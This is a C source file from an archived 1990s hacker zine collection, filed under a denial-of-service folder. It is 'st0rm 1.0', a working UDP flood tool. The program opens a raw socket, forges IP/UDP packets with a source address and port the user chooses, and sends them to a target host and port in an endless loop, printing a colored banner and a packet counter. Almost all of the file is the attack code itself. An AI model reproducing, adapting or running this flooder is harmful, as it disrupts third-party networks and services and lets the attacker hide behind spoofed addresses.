home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Textfiles
/
zines
/
Happle
/
happle10.sit.hqx
/
Happle#10
/
Files
/
Denial.sit
/
DoS
/
storm.c
< prev
next >
Wrap
C/C++ Source or Header
|
1998-12-09
|
3KB
|
45 lines
#include "tcpip.h"
int i=0;
void sendpack(char *fromhost, int fromport, char *tohost, int toport)
{
char *packet;
char *udppacket;
static struct sockaddr_in local, remote;
static int sock = 0;
int totsent = sizeof(struct iphdr) + sizeof(struct udphdr);
if (!sock) {
resolve_address((struct sockaddr *)&local, fromhost, fromport);
resolve_address((struct sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, 255);
if (sock == -1) {
perror("Getting raw socket");
exit(-1);
}}
udppacket = create_udp(local.sin_addr.s_addr, remote.sin_addr.s_addr, local.sin_port, remote.sin_port, "this b ten", 10);
packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr, 17, 24, 4, udppacket, 30);
{
int result;
result = sendto(sock, packet, totsent, 0, (struct sockaddr *)&remote, sizeof(remote));
if (result != totsent) {
perror("sending packet");
}}}
main(int argc, char **argv) {
puts("\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=");
puts("\033[34ms\033[mt0rm \033[34m1\033[m.0");
puts("\033[34mW\033[mritten \033[34mb\033[my \033[34mR\033[mza\033[m");
puts("\033[34mW\033[med \033[34mM\033[may \033[34m2\033[m9 \033[34m0\033[m2:05:54 \033[34mE\033[mST \033[34m1\033[m996");
puts("\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=\033[34m=\033[m=");
if (argc!=5) {
printf("\033[34mu\033[msage\033[34m:\033[m %s \033[34m<\033[msrcaddress\033[34m>\033[m \033[34m<\033[msrcport\033[34m>\033[m \033[34m<\033[mdestaddress\033[34m>\033[m \033[34m<\033[mdestport\033[34m>\033[m\r\n", argv[0]);
exit(-1);
}
for(;;i++) {
printf("\033[34m#\033[m%d\033[34m:\033[m %s.%d \033[34m->\033[m %s.%d\033[m\r\n", i, argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}}